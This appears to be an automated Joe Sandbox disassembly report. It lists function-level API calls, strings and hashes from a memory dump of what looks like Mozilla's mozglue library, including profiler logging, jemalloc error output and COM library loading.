
API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 8f8a2cd46451d108828f2a413a0759199c5cf10e5333fb35fd7ac93a3b1621c1
Instruction ID: bba0b897be92b6e228a67421185f6b1bd8524806e54ce4ec3bb1d896e3242523
Opcode Fuzzy Hash: 8f8a2cd46451d108828f2a413a0759199c5cf10e5333fb35fd7ac93a3b1621c1
Instruction Fuzzy Hash: 9821D5B07442086BFB106A65CC45FBBB37CDF96704F044528F645AB6C0C674EE54C6A1

Function 6C99F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C99F598), ref: 6C99F621

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F637
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F645
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C99F62A

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 99e2e4a7255e96c9c32b5a1c0ac3f4d8398d7a213746abeb72b20cee0978f20d
Instruction ID: dbfb89039c02f222b4e8578100ebe23204c7e3c60010c0d8b7a0a5392eb98bc5
Opcode Fuzzy Hash: 99e2e4a7255e96c9c32b5a1c0ac3f4d8398d7a213746abeb72b20cee0978f20d
Instruction Fuzzy Hash: 0211E371209A05AFCB40AF58C8489A5B77DFF9635DB280015FA09A3F01CB71F861CBA1

Function 6C961FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C961FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C961FFD
__Init_thread_footer.LIBCMT ref: 6C962011
FreeLibrary.KERNEL32 ref: 6C962059

Strings

CoCreateInstance, xrefs: 6C961FF7
combase.dll, xrefs: 6C961FD9

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 3a34ae18cd0fd3d7efdd1a7d06b4178ed928b9b246e63cdec053077a44efb8a4
Instruction ID: a05e65fbecb88758537929cf5cc8fa50c83dc609a7091692d6ff7701b3159862
Opcode Fuzzy Hash: 3a34ae18cd0fd3d7efdd1a7d06b4178ed928b9b246e63cdec053077a44efb8a4
Instruction Fuzzy Hash: 29115175209A05EFEF10CF55C84EE667B79EB86359F208419F905A3A80C731F890DFA1

Function 6C960EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C98D9F0,00000000), ref: 6C960F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C960F3C
__Init_thread_footer.LIBCMT ref: 6C960F50
FreeLibrary.KERNEL32(?,6C98D9F0,00000000), ref: 6C960F86

Strings

CoInitializeEx, xrefs: 6C960F36
combase.dll, xrefs: 6C960F18

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: d57daf84c3f9b33a4cdf9cde6b74a579e95b91fccb7cd8b778d0dff63dff6da6
Instruction ID: db76d53b309ef7e029be97d9141d51536daebdb60b8c645d9d77956a38dafc03
Opcode Fuzzy Hash: d57daf84c3f9b33a4cdf9cde6b74a579e95b91fccb7cd8b778d0dff63dff6da6
Instruction Fuzzy Hash: EC110630719A419BEF00CF55C949A693778EB8B32AF208619E905B3B80DB30F480CA69

Function 6C99F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F561

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F577
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F585
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C99F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C99F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C99F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C99F3A8

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: e30c48d20f17c9ec6a6d5f07fc484cf4078869230fad77126673fd32d574df5b
Instruction ID: aa67c257549bbc056e8f111de936c12045696a46ba325a43ddb5548bf236ee4b
Opcode Fuzzy Hash: e30c48d20f17c9ec6a6d5f07fc484cf4078869230fad77126673fd32d574df5b
Instruction Fuzzy Hash: 27F0B475204A049FDB006F699C4C96A77BDEB9629EF294015FA09A3701CF31E84087B1

Function 6C99F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C99F598), ref: 6C99F621

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F637
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F645
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C99F62A

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 9a23326c18c620d3b4f5665758a1c7df30de0d042a0c62ae7b176801473360a7
Instruction ID: 8c8f31107bf0dabd3aea7ad4356660dd60110da7ec23acc7c525b99d64a93a69
Opcode Fuzzy Hash: 9a23326c18c620d3b4f5665758a1c7df30de0d042a0c62ae7b176801473360a7
Instruction Fuzzy Hash: 07F0B475204A04AFDF006F688C4C95A777DEB9625EF254015FA09A3701CB75E84587B1

Function 6C960E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C960DF8), ref: 6C960E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C960EA1
__Init_thread_footer.LIBCMT ref: 6C960EB5
FreeLibrary.KERNEL32 ref: 6C960EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C960E9B
kernel32.dll, xrefs: 6C960E7D

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 0bf903564c60863462c14bb70443c6a6c79dd39a2da2b3aacfdda3046ff6dad3
Instruction ID: 65fc3a797f989c6b03bbc0683c11bc91570c852e558421845a6d685752eb891e
Opcode Fuzzy Hash: 0bf903564c60863462c14bb70443c6a6c79dd39a2da2b3aacfdda3046ff6dad3
Instruction Fuzzy Hash: D9014B74708A828BEF018FE9CA96BC273B5E766B1DF205525D901A3F80DB74F484CA56

Function 6C9905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C98CFAE,?,?,?,6C9531A7), ref: 6C9905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C98CFAE,?,?,?,6C9531A7), ref: 6C990616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9531A7), ref: 6C99061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9531A7), ref: 6C990627

Strings

<jemalloc>, xrefs: 6C9905FA, 6C99060F
: (malloc) Error in VirtualFree(), xrefs: 6C99061B, 6C990625

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 25db96d4eb97f6669a0a88a1216d998ba0ed13a1334b52ae264f65a75ea91de4
Instruction ID: 4ab761612b90a7cc9a4172cf68e3dfbe69a8d3ff13eb501e7c7b282a36168844
Opcode Fuzzy Hash: 25db96d4eb97f6669a0a88a1216d998ba0ed13a1334b52ae264f65a75ea91de4
Instruction Fuzzy Hash: 1CE08CE2A0101037F614225ABC86DBB7A1CDBDA134F080039FE0D82741E94AFD1A51F7

Function 6C9605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bde2914b230708ec333edf2da442098fa2ffc8ec3e3d8488a5b697087bd924fa
Instruction ID: 37056422203d542312f73db08791f16c3d8635f9fd490470ecfef97f7501e69f
Opcode Fuzzy Hash: bde2914b230708ec333edf2da442098fa2ffc8ec3e3d8488a5b697087bd924fa
Instruction Fuzzy Hash: 80A16A70A05605CFDB14CF29C984A99FBF5BF49304F5486AED44AA7B40D730BA95CF90

Function 6C9B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9B14E2
GetCurrentThreadId.KERNEL32 ref: 6C9B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C9B15BA
free.MOZGLUE(?), ref: 6C9B16B4

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 770ed80ba0c0b4aa20744db873b38cabef78ec103e14aba8f224427342d16040
Instruction ID: 5603e48839bfa033874eb59e7bb1d8b95b75ccec8b4ea55c9fd9923afc74763e
Opcode Fuzzy Hash: 770ed80ba0c0b4aa20744db873b38cabef78ec103e14aba8f224427342d16040
Instruction Fuzzy Hash: 8561DF72A05700EBDB118F64C880BDEB7B5BF9A308F04851CED8A67711DB31E999CB91

Function 6C9A9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9A9FDB
free.MOZGLUE(?,?), ref: 6C9A9FF0
free.MOZGLUE(?,?), ref: 6C9AA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9AA0BE
free.MOZGLUE(?,?), ref: 6C9AA0D5
free.MOZGLUE(?,?), ref: 6C9AA0EB

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 6010b17c64fdc12d60f86bdafdcb9194a1e10ec7c5018c29ffbb07ec0987e6d3
Instruction ID: e92d98efe0ba971143f20b948222a7e7f1b7473426a01bcc9f839b9d99cffe8e
Opcode Fuzzy Hash: 6010b17c64fdc12d60f86bdafdcb9194a1e10ec7c5018c29ffbb07ec0987e6d3
Instruction Fuzzy Hash: 6261DF754096019FC751CF58C48059AB3F5FF98328F148669E8999B702EB32E986CFD1

Function 6C9ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C9AD38A,?), ref: 6C9ADC6F
free.MOZGLUE(?,?,?,?,?,6C9AD38A,?), ref: 6C9ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C9AD38A,?), ref: 6C9ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C9AD38A,?), ref: 6C9ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C9AD38A,?), ref: 6C9ADD4A

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 24dc189e55704bb509b1dec34db959b011ff9ef85d3745b0e5c29eb4621a213f
Instruction ID: 935987abb3a558640313b70b9eca53db3ade4ce5fc80780065d94d58081a4af8
Opcode Fuzzy Hash: 24dc189e55704bb509b1dec34db959b011ff9ef85d3745b0e5c29eb4621a213f
Instruction Fuzzy Hash: 52419CB6A00605DFCB00CF99C88099AB7F5FF98304B654469DD05ABB10D731FC01CBA0

Function 6C996590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C98FA80: GetCurrentThreadId.KERNEL32 ref: 6C98FA8D
Part of subcall function 6C98FA80: AcquireSRWLockExclusive.KERNEL32(6C9DF448), ref: 6C98FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C996727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9967C8

Part of subcall function 6C9A4290: memcpy.VCRUNTIME140(?,?,6C9B2003,6C9B0AD9,?,6C9B0AD9,00000000,?,6C9B0AD9,?,00000004,?,6C9B1A62,?,6C9B2003,?), ref: 6C9A42C4

Strings

data, xrefs: 6C996593

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 05005de064831a547376c7b9aa1fad48b7a46f93473802ac7ffeaa75292965f9
Instruction ID: ab996b97badea893eaba6de8e0d50924e7c97fa7344ac8d40f2b1daa6674e183
Opcode Fuzzy Hash: 05005de064831a547376c7b9aa1fad48b7a46f93473802ac7ffeaa75292965f9
Instruction Fuzzy Hash: 48D1DF71A093408FD764CF25C841B9FB7E5AFE5308F14892DE48997B91DB30E949CB92

Function 6C9AC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9AC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9AC842

Part of subcall function 6C9ACAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C9CB5EB,00000000), ref: 6C9ACB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C9AC863
std::_Facet_Register.LIBCPMT ref: 6C9AC875

Part of subcall function 6C98B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C9CB636,?), ref: 6C98B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9AC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AC8BC

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: b4778fe9476e8610c3c7196cac04df22de242c41e3559b0939326dd95945073c
Instruction ID: de425f6e6c87dabd49fb10cc3ef8815e54e3b4c49c74c4dc543ed5eed866ae8f
Opcode Fuzzy Hash: b4778fe9476e8610c3c7196cac04df22de242c41e3559b0939326dd95945073c
Instruction Fuzzy Hash: BB11B675B046099BCB04DFA4C8899AE7BB9FF99354B200529E606AB340DB31E945CB91

Function 6C98D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C95EB57,?,?,?,?,?,?,?,?,?), ref: 6C98D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C95EB57,?), ref: 6C98D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C95EB57,?), ref: 6C98D673
free.MOZGLUE(?), ref: 6C98D888

Strings

|Enabled, xrefs: 6C98D81E

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

